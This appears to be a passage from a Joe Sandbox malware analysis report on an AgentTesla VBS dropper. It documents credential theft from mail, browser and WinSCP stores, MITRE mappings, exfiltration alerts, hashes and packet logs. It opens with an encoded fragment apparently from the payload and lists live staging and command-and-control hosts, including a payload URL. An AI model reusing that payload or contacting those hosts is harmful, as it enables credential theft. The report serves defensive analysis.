ARZFAgAAAAIAAAAYAAAAKx8XDAd+IAAACgIXKBsAAAYsBxcKFyvbKw0IF9YMGCvSCBsx3xYKBiobMAoABQQAAAIAABFylQAAcAIoIQAACgwWKwEWRQMAAAACAAAADQAAABgAAAArIRID/hUPAAACFyviEgT+FQ4AAAIYK9cSAxZ9GAAABBkrzBID0A8AAAIoDwAACigiAAAKuH0NAAAEAygjAAAKLQ0IcqEAAHADKCQAAAoMAgh+JQAACn4lAAAKFhp+JQAAChQSAxIEKBAAAAYtBnMmAAAKegQfPCgnAAAKEwUWKwEWRRQAAAAFAAAAFQAAACQAAAAzAAAAdAAAAMAAAADTAAAA8gAAAAIBAABQAQAAZQEAAG8BAACIAQAAnAEAALABAADIAQAA3gEAAA0CAAAsAgAAXQIAADhxAgAABBEFHzTWKCcAAAoTBhcrliCzAAAAjQkAAAETBxgrhxEHFiACAAEAnhk4eP///ygoAAAKGjMWEQR7CgAABBEHKBEAAAYtHHMmAAAKehEEewoAAAQRBygSAAAGLQZzJgAACnoRBx8plBMIGjg3////EQR7CQAABBEIHtYSCRoSASgVAAAGLQZzJgAACnoRBhEJMxYRBHsJAAAEEQkoFwAABiwGcyYAAAp6BBEFH1DWKCcAAAoTChs46/7//wQRBR9U1ignAAAKEwscONj+//8RBHsJAAAEEQYRCiAAMAAAH0AoGAAABhMNHTi5/v//BS0lEQ0tIRcTDB44qf7//xEEewkAAAQWEQogADAAAB9AKBgAAAYTDRENLQZzJgAACnoRBHsJAAAEEQ0EEQsSASgWAAAGLQZzJgAACnoRBSD4AAAA1hMOHwk4W/7//wQRBRzWKCkAAAoX2hMRHwo4Rv7//xYTEh8LODz+//84nwAAAAQRDh8M1ignAAAKExMfDDgj/v//BBEOHxDWKCcAAAoTFB8NOA/+//8EEQ4fFNYoJwAAChMVHw44+/3//xEULEsRFBfaF9aNGwAAARMWHw844/3//wQRFREWFhEWjmkoKgAACh8QOM39//8RBHsJAAAEEQ0RE9YRFhEWjmkSASgWAAAGLQZzJgAACnoRDh8o1hMOHxE4nv3//xESF9YTEhESERE+WP///xENKCsAAAoTDx8SOH/9//8RBHsJAAAEEQge1hEPGhIBKBYAAAYtBnMmAAAKegQRBR8o1ignAAAKExAfEzhO/f//EQwsBBEGEw0RBx8sEQ0RENaeHxQ4Nf3//ygoAAAKGjMWEQR7CgAABBEHKBMAAAYtHHMmAAAKehEEewoAAAQRBygUAAAGLQZzJgAACnoRBHsKAAAEKBkAAAYVMwZzJgAACnreSCgsAAAKFisBFkUDAAAAAgAAABQAAAAkAAAAKyoRBHsLAAAEhCgtAAAKExcXK9sRFywHERdvLgAAChYKGCvLKC8AAAoZK8PeAhcKBioAAABBHAAAAAAAAFsAAABeAwAAuQMAAEgAAAAYAAABHgIoEgAACiobMAQA7QAAAAMAABFzMAAACiUoMQAACm8yAAAKAigzAAAKKDQAAApypQAAcHKxAABwbzUAAApytQAAcHLDAABwbzUAAApyxwAAcHLTAABwbzUAAApy1wAAcHLjAABwbzUAAApy5wAAcHL5AABwbzUAAApy/QAAcHIPAQBwbzUAAApyEwEAcHIlAQBwbzUAAApyK			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 3_2_00F4F198 GetUserNameW,

3_2_00F4F198

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 00000003.00000002.822490552.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1236, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini			Jump to behavior

Source: Yara match	File source: 00000003.00000002.822490552.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1236, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 00000003.00000002.822490552.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1236, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	211 Windows Management Instrumentation	Path Interception	211 Process Injection	1 Disable or Modify Tools	1 OS Credential Dumping	1 Account Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	221 Scripting	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	221 Scripting	1 Credentials in Registry	1 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	11 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	114 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	2 PowerShell	Logon Script (Mac)	Logon Script (Mac)	1 Software Packing	NTDS	111 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	131 Virtualization/Sandbox Evasion	LSA Secrets	1 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	211 Process Injection	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Owner/User Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	1 Remote System Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
GJ890-1286.vbs	13%	ReversingLabs	Script-WScript.Trojan.Heuristic

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
3.2.RegSvcs.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8		Download File

Domains

Source	Detection	Scanner	Label	Link
hermosanairobi.com	0%	Virustotal		Browse
yorkrefrigerent.md	4%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://hermosanairobi.com	0%	Virustotal		Browse
http://yorkrefrigerent.md	4%	Virustotal		Browse
https://yorkrefrigerent.md	0%	Avira URL Cloud	safe
http://hermosanairobi.com	0%	Avira URL Cloud	safe
https://yorkrefrigerent.md/public/storage_old/users/.vbb/dcos.txt	0%	Avira URL Cloud	safe
http://yorkrefrigerent.md	0%	Avira URL Cloud	safe
http://mail.hermosanairobi.com	0%	Avira URL Cloud	safe
https://yorkrefrigerent.mdx	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
hermosanairobi.com	192.81.170.3	true	true	0%, Virustotal, Browse	unknown
yorkrefrigerent.md	195.178.106.125	true	false	4%, Virustotal, Browse	unknown
mail.hermosanairobi.com	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://yorkrefrigerent.md/public/storage_old/users/.vbb/dcos.txt	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://yorkrefrigerent.md	powershell.exe, 00000001.00000002.311807350.0000028B3233C000.00000004.00000800.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.311807350.0000028B31EE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://hermosanairobi.com	RegSvcs.exe, 00000003.00000002.822490552.0000000002BF9000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://yorkrefrigerent.md	powershell.exe, 00000001.00000002.311807350.0000028B32329000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mail.hermosanairobi.com	RegSvcs.exe, 00000003.00000002.822490552.0000000002BF9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://yorkrefrigerent.mdx	powershell.exe, 00000001.00000002.311807350.0000028B32336000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
192.81.170.3	hermosanairobi.com	Canada		53479	AS-UPTIMECA	true
195.178.106.125	yorkrefrigerent.md	Romania		44388	TOPHOST-MD-ASRMoldovaChisinauParis18ARO	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	830445
Start date and time:	2023-03-20 11:38:14 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	GJ890-1286.vbs
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winVBS@6/3@3/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 17 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .vbs Override analysis time to 240s for JS/VBS files not yet terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, conhost.exe
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:39:14	API Interceptor	1x Sleep call for process: powershell.exe modified
11:39:19	API Interceptor	14x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
192.81.170.3	AWE09-6767.vbs	Get hash	malicious	AgentTesla	Browse
	GL9001-800322.vbs	Get hash	malicious	AgentTesla	Browse
	FT8900-32400.vbs	Get hash	malicious	AgentTesla	Browse
	H709886-87979.vbs	Get hash	malicious	AgentTesla	Browse
	NES790-456900.vbs	Get hash	malicious	AgentTesla	Browse
195.178.106.125	AWE09-6767.vbs	Get hash	malicious	AgentTesla	Browse	yorkrefrigerent.md/public/js/ppn/bko.txt

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
yorkrefrigerent.md	AWE09-6767.vbs	Get hash	malicious	AgentTesla	Browse	195.178.106.125
	ETG9032-478000.vbs	Get hash	malicious	AgentTesla	Browse	195.178.106.125
	GL9001-800322.vbs	Get hash	malicious	AgentTesla	Browse	195.178.106.125
	FT8900-32400.vbs	Get hash	malicious	AgentTesla	Browse	195.178.106.125
	H709886-87979.vbs	Get hash	malicious	AgentTesla	Browse	195.178.106.125
	NES790-456900.vbs	Get hash	malicious	AgentTesla	Browse	195.178.106.125
	BTR98-80435567.vbs	Get hash	malicious	AgentTesla	Browse	195.178.106.125

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TOPHOST-MD-ASRMoldovaChisinauParis18ARO	AWE09-6767.vbs	Get hash	malicious	AgentTesla	Browse	195.178.106.125
	ETG9032-478000.vbs	Get hash	malicious	AgentTesla	Browse	195.178.106.125
	GL9001-800322.vbs	Get hash	malicious	AgentTesla	Browse	195.178.106.125
	FT8900-32400.vbs	Get hash	malicious	AgentTesla	Browse	195.178.106.125
	H709886-87979.vbs	Get hash	malicious	AgentTesla	Browse	195.178.106.125
	NES790-456900.vbs	Get hash	malicious	AgentTesla	Browse	195.178.106.125
	BTR98-80435567.vbs	Get hash	malicious	AgentTesla	Browse	195.178.106.125
	hlks5fS71M.exe	Get hash	malicious	BitRAT	Browse	195.178.106.125
	Zgd7UNKfNE.exe	Get hash	malicious	AgentTesla	Browse	195.178.106.24
	muO4HFmzAw.exe	Get hash	malicious	AgentTesla	Browse	195.178.106.24
	sales contract 21-22.xlsx	Get hash	malicious	AgentTesla	Browse	195.178.106.24
	Purchase_Order_7245.xlsm	Get hash	malicious	Unknown	Browse	195.178.106.125
	iqmv5DRXUB.exe	Get hash	malicious	AgentTesla	Browse	195.178.106.145
AS-UPTIMECA	AWE09-6767.vbs	Get hash	malicious	AgentTesla	Browse	192.81.170.3
	GL9001-800322.vbs	Get hash	malicious	AgentTesla	Browse	192.81.170.3
	FT8900-32400.vbs	Get hash	malicious	AgentTesla	Browse	192.81.170.3
	H709886-87979.vbs	Get hash	malicious	AgentTesla	Browse	192.81.170.3
	NES790-456900.vbs	Get hash	malicious	AgentTesla	Browse	192.81.170.3
	PO20230128.exe	Get hash	malicious	FormBook	Browse	192.81.170.4
	Halkbank_Ekstre_20230120_08.pdf.exe	Get hash	malicious	FormBook	Browse	192.81.170.4
	BL-SHIPPING DOCUMENTS.exe	Get hash	malicious	FormBook	Browse	192.81.170.4
	PRE ALERT NOTICE.exe	Get hash	malicious	FormBook	Browse	192.81.170.4
	HBLMBL SHIPPING DOCS.exe	Get hash	malicious	FormBook	Browse	192.81.170.4
	N0vpYgIYpv.exe	Get hash	malicious	Unknown	Browse	192.81.170.5

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	20230320.vbs	Get hash	malicious	Remcos	Browse	195.178.106.125
	Statment_201648318503.JS.js	Get hash	malicious	AsyncRAT	Browse	195.178.106.125
	Statment_1863607932.JS.js	Get hash	malicious	AsyncRAT	Browse	195.178.106.125
	edce4301c8d01cf9b904be_11074.hta	Get hash	malicious	Njrat	Browse	195.178.106.125
	USfw5FZRl6.exe	Get hash	malicious	AsyncRAT	Browse	195.178.106.125
	yKCcn33f2h.exe	Get hash	malicious	Unknown	Browse	195.178.106.125
	u2q8kuTQLw.exe	Get hash	malicious	Unknown	Browse	195.178.106.125
	ZNwCTgxBmg.exe	Get hash	malicious	Unknown	Browse	195.178.106.125
	QrzQycehMg.exe	Get hash	malicious	Unknown	Browse	195.178.106.125
	nEI1mR3JkL.exe	Get hash	malicious	Unknown	Browse	195.178.106.125
	6YiNky9TPM.exe	Get hash	malicious	Unknown	Browse	195.178.106.125
	UQswihazuH.exe	Get hash	malicious	Unknown	Browse	195.178.106.125
	pRXWkBf0jK.exe	Get hash	malicious	Unknown	Browse	195.178.106.125
	5q0P5eWZYD.exe	Get hash	malicious	Unknown	Browse	195.178.106.125
	xhVP34zQLe.exe	Get hash	malicious	Unknown	Browse	195.178.106.125
	GVfZfoRYGs.exe	Get hash	malicious	Unknown	Browse	195.178.106.125
	GVfZfoRYGs.exe	Get hash	malicious	Unknown	Browse	195.178.106.125
	voluptates.js	Get hash	malicious	Qbot	Browse	195.178.106.125
	C-oCSHXqI.64608475.js	Get hash	malicious	Unknown	Browse	195.178.106.125
	SCDjv7lBbD.exe	Get hash	malicious	Unknown	Browse	195.178.106.125

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.9260988789684415
Encrypted:	false
SSDEEP:	3:Nlllulb/lj:NllUb/l
MD5:	13AF6BE1CB30E2FB779EA728EE0A6D67
SHA1:	F33581AC2C60B1F02C978D14DC220DCE57CC9562
SHA-256:	168561FB18F8EBA8043FA9FC4B8A95B628F2CF5584E5A3B96C9EBAF6DD740E3F
SHA-512:	1159E1087BC7F7CBB233540B61F1BDECB161FF6C65AD1EFC9911E87B8E4B2E5F8C2AF56D67B33BC1F6836106D3FEA8C750CC24B9F451ACF85661E0715B829413
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ilbo13zy.j2f.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xv2hgkd3.00w.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Entropy (8bit):	3.3357734201017686
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	GJ890-1286.vbs
File size:	634860
MD5:	b73f50ff5bacd275282b43778180fd8e
SHA1:	98d820b8a51989b2bf9e9982de31eccf47a54fba
SHA256:	2dbfb717c5e54b04e5e174bc6e62f90c1609adeb52085a9d42184aadac74bf0f
SHA512:	3385a09bdcbb504962fc4c213d7de988dc8888fa11c8af5b20c17e92b1cf6626b56fca70e25cd29e7590fb08ad93bb64804bb2d09c43e72da80f4fec445bbbc2
SSDEEP:	1536:jAgmFXNa89nCkaNxNRfpxVp3tRcGOjr9faR:jAgmFXNajkUbR
TLSH:	03D4E7A771BFC0D451E1752B828BF5788BFFAAD1993E3A1402CC264D5EC2B8598523D3
File Content Preview:	..:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:

File Icon


Icon Hash:	e8d69ece869a9ec4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.5192.81.170.349696262851779 03/20/23-11:39:22.276555	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49696	26	192.168.2.5	192.81.170.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2023 11:39:14.802937984 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:14.802994013 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:14.803081036 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:14.820851088 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:14.820877075 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:14.937886953 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:14.938010931 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:14.944413900 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:14.944441080 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:14.945022106 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:14.971757889 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:14.971791983 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.069613934 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.120254993 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.120327950 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.120486975 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.120517969 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.120554924 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.120606899 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.121326923 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.121393919 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.121418953 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.121443987 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.121484995 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.121499062 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.171695948 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.171806097 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.171890974 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.171926975 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.171948910 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.172458887 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.172492027 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.172564030 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.172583103 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.172609091 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.172631979 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.172650099 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.172676086 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.172951937 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.173042059 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.173046112 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.173074007 CET	443	49695	195.178.106.125	192.168.2.5
